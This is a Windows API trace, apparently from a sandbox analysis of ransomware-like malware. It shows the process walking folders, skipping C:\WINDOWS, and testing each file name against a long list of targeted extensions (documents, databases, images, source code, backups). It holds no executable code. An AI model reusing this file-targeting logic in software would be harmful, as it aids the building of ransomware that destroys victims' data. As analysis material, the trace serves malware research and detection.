	[0068.878] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0068.878] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61
	[0068.878] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1
	[0068.878] lstrlenW (lpString="S-1-5-21-1051304884-625712362-2192934891-1000") returned 45
	[0068.878] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000") returned -1
	[0068.878] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0068.992] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61
	[0068.992] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121310
	[0069.029] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.029] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0069.029] lstrlenW (lpString="desktop.ini") returned 11
	[0069.029] lstrlenW (lpString=".1cd") returned 4
	[0069.029] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0069.029] lstrlenW (lpString=".3ds") returned 4
	[0069.029] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0069.029] lstrlenW (lpString=".3fr") returned 4
	[0069.029] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0069.029] lstrlenW (lpString=".3g2") returned 4
	[0069.029] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0069.029] lstrlenW (lpString=".3gp") returned 4
	[0069.029] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0069.029] lstrlenW (lpString=".7z") returned 3
	[0069.029] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0069.029] lstrlenW (lpString=".accda") returned 6
	[0069.029] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0069.029] lstrlenW (lpString=".accdb") returned 6
	[0069.030] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0069.030] lstrlenW (lpString=".accdc") returned 6
	[0069.030] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0069.030] lstrlenW (lpString=".accde") returned 6
	[0069.030] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0069.030] lstrlenW (lpString=".accdt") returned 6
	[0069.030] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0069.030] lstrlenW (lpString=".accdw") returned 6
	[0069.030] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0069.030] lstrlenW (lpString=".adb") returned 4
	[0069.030] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0069.030] lstrlenW (lpString=".adp") returned 4
	[0069.030] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0069.030] lstrlenW (lpString=".ai") returned 3
	[0069.030] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0069.030] lstrlenW (lpString=".ai3") returned 4
	[0069.030] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0069.030] lstrlenW (lpString=".ai4") returned 4
	[0069.030] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0069.030] lstrlenW (lpString=".ai5") returned 4
	[0069.030] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0069.030] lstrlenW (lpString=".ai6") returned 4
	[0069.030] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0069.030] lstrlenW (lpString=".ai7") returned 4
	[0069.030] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0069.030] lstrlenW (lpString=".ai8") returned 4
	[0069.030] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0069.030] lstrlenW (lpString=".anim") returned 5
	[0069.030] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0069.030] lstrlenW (lpString=".arw") returned 4
	[0069.030] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0069.030] lstrlenW (lpString=".as") returned 3
	[0069.030] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0069.030] lstrlenW (lpString=".asa") returned 4
	[0069.030] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".asc") returned 4
	[0069.031] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".ascx") returned 5
	[0069.031] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0069.031] lstrlenW (lpString=".asm") returned 4
	[0069.031] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".asmx") returned 5
	[0069.031] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0069.031] lstrlenW (lpString=".asp") returned 4
	[0069.031] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".aspx") returned 5
	[0069.031] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0069.031] lstrlenW (lpString=".asr") returned 4
	[0069.031] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".asx") returned 4
	[0069.031] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".avi") returned 4
	[0069.031] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".avs") returned 4
	[0069.031] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".backup") returned 7
	[0069.031] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0069.031] lstrlenW (lpString=".bak") returned 4
	[0069.031] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".bay") returned 4
	[0069.031] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".bd") returned 3
	[0069.031] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0069.031] lstrlenW (lpString=".bin") returned 4
	[0069.031] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".bmp") returned 4
	[0069.031] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".bz2") returned 4
	[0069.031] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0069.031] lstrlenW (lpString=".c") returned 2
	[0069.031] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0069.032] lstrlenW (lpString=".cdr") returned 4
	[0069.032] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".cer") returned 4
	[0069.032] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".cf") returned 3
	[0069.032] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0069.032] lstrlenW (lpString=".cfc") returned 4
	[0069.032] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".cfm") returned 4
	[0069.032] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".cfml") returned 5
	[0069.032] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0069.032] lstrlenW (lpString=".cfu") returned 4
	[0069.032] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".chm") returned 4
	[0069.032] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".cin") returned 4
	[0069.032] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".class") returned 6
	[0069.032] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0069.032] lstrlenW (lpString=".clx") returned 4
	[0069.032] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".config") returned 7
	[0069.032] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0069.032] lstrlenW (lpString=".cpp") returned 4
	[0069.032] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".cr2") returned 4
	[0069.032] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".crt") returned 4
	[0069.032] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".crw") returned 4
	[0069.032] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0069.032] lstrlenW (lpString=".cs") returned 3
	[0069.032] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0069.033] lstrlenW (lpString=".css") returned 4
	[0069.033] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".csv") returned 4
	[0069.033] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".cub") returned 4
	[0069.033] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".dae") returned 4
	[0069.033] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".dat") returned 4
	[0069.033] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".db") returned 3
	[0069.033] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0069.033] lstrlenW (lpString=".dbf") returned 4
	[0069.033] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".dbx") returned 4
	[0069.033] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".dc3") returned 4
	[0069.033] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".dcm") returned 4
	[0069.033] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".dcr") returned 4
	[0069.033] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".der") returned 4
	[0069.033] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".dib") returned 4
	[0069.033] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".dic") returned 4
	[0069.033] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".dif") returned 4
	[0069.033] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0069.033] lstrlenW (lpString=".divx") returned 5
	[0069.033] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0069.033] lstrlenW (lpString=".djvu") returned 5
	[0069.033] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0069.033] lstrlenW (lpString=".dng") returned 4
	[0069.034] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0069.034] lstrlenW (lpString=".doc") returned 4
	[0069.034] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0069.034] lstrlenW (lpString=".docm") returned 5
	[0069.034] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0069.034] lstrlenW (lpString=".docx") returned 5
	[0069.034] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0069.034] lstrlenW (lpString=".dot") returned 4
	[0069.034] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0069.034] lstrlenW (lpString=".dotm") returned 5
	[0069.034] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0069.034] lstrlenW (lpString=".dotx") returned 5
	[0069.034] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0069.034] lstrlenW (lpString=".dpx") returned 4
	[0069.034] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0069.034] lstrlenW (lpString=".dqy") returned 4
	[0069.034] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0069.034] lstrlenW (lpString=".dsn") returned 4
	[0069.034] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0069.034] lstrlenW (lpString=".dt") returned 3
	[0069.034] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0069.034] lstrlenW (lpString=".dtd") returned 4
	[0069.034] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0069.034] lstrlenW (lpString=".dwg") returned 4
	[0069.034] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0069.034] lstrlenW (lpString=".dwt") returned 4
	[0069.034] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0069.034] lstrlenW (lpString=".dx") returned 3
	[0069.034] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0069.034] lstrlenW (lpString=".dxf") returned 4
	[0069.035] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0069.035] lstrlenW (lpString=".edml") returned 5
	[0069.035] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0069.035] lstrlenW (lpString=".efd") returned 4
	[0069.035] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0069.035] lstrlenW (lpString=".elf") returned 4
	[0069.035] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0069.035] lstrlenW (lpString=".emf") returned 4
	[0069.035] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0069.035] lstrlenW (lpString=".emz") returned 4
	[0069.035] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0069.035] lstrlenW (lpString=".epf") returned 4
	[0069.035] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0069.035] lstrlenW (lpString=".eps") returned 4
	[0069.035] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0069.035] lstrlenW (lpString=".epsf") returned 5
	[0069.035] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0069.035] lstrlenW (lpString=".epsp") returned 5
	[0069.035] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0069.035] lstrlenW (lpString=".erf") returned 4
	[0069.035] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0069.035] lstrlenW (lpString=".exr") returned 4
	[0069.035] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0069.035] lstrlenW (lpString=".f4v") returned 4
	[0069.035] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0069.036] lstrlenW (lpString=".fido") returned 5
	[0069.036] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0069.036] lstrlenW (lpString=".flm") returned 4
	[0069.036] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0069.036] lstrlenW (lpString=".flv") returned 4
	[0069.036] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0069.036] lstrlenW (lpString=".frm") returned 4
	[0069.036] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0069.036] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0069.036] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0069.036] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0069.036] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0069.036] FindClose (in: hFindFile=0x519518 | out: hFindFile=0x519518) returned 1
	[0069.036] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x30f0948 | out: hHeap=0x500000) returned 1
	[0069.037] FindNextFileW (in: hFindFile=0x519958, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0069.037] FindNextFileW (in: hFindFile=0x519958, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0069.037] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x30f0948
	[0069.038] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0069.038] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x519518
	[0069.095] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0069.097] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0069.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0069.097] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1
	[0069.097] lstrlenW (lpString="1025") returned 4
	[0069.097] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1
	[0069.097] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0069.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0069.098] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3120b50
	[0069.128] FindNextFileW (in: hFindFile=0x3120b50, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.128] FindNextFileW (in: hFindFile=0x3120b50, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0069.128] lstrlenW (lpString="eula.rtf") returned 8
	[0069.128] lstrlenW (lpString=".1cd") returned 4
	[0069.128] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.128] lstrlenW (lpString=".3ds") returned 4
	[0069.128] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0069.128] lstrlenW (lpString=".3fr") returned 4
	[0069.128] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0069.128] lstrlenW (lpString=".3g2") returned 4
	[0069.128] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0069.128] lstrlenW (lpString=".3gp") returned 4
	[0069.128] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0069.129] lstrlenW (lpString=".7z") returned 3
	[0069.129] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.129] lstrlenW (lpString=".accda") returned 6
	[0069.129] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0069.129] lstrlenW (lpString=".accdb") returned 6
	[0069.129] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0069.129] lstrlenW (lpString=".accdc") returned 6
	[0069.129] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0069.129] lstrlenW (lpString=".accde") returned 6
	[0069.129] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0069.129] lstrlenW (lpString=".accdt") returned 6
	[0069.129] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0069.129] lstrlenW (lpString=".accdw") returned 6
	[0069.129] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0069.129] lstrlenW (lpString=".adb") returned 4
	[0069.129] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0069.129] lstrlenW (lpString=".adp") returned 4
	[0069.129] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0069.129] lstrlenW (lpString=".ai") returned 3
	[0069.129] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0069.129] lstrlenW (lpString=".ai3") returned 4
	[0069.129] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0069.129] lstrlenW (lpString=".ai4") returned 4
	[0069.129] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0069.129] lstrlenW (lpString=".ai5") returned 4
	[0069.129] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0069.129] lstrlenW (lpString=".ai6") returned 4
	[0069.129] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0069.129] lstrlenW (lpString=".ai7") returned 4
	[0069.129] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0069.129] lstrlenW (lpString=".ai8") returned 4
	[0069.129] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0069.129] lstrlenW (lpString=".anim") returned 5
	[0069.129] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0069.129] lstrlenW (lpString=".arw") returned 4
	[0069.130] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".as") returned 3
	[0069.130] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0069.130] lstrlenW (lpString=".asa") returned 4
	[0069.130] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".asc") returned 4
	[0069.130] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".ascx") returned 5
	[0069.130] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0069.130] lstrlenW (lpString=".asm") returned 4
	[0069.130] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".asmx") returned 5
	[0069.130] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0069.130] lstrlenW (lpString=".asp") returned 4
	[0069.130] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".aspx") returned 5
	[0069.130] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
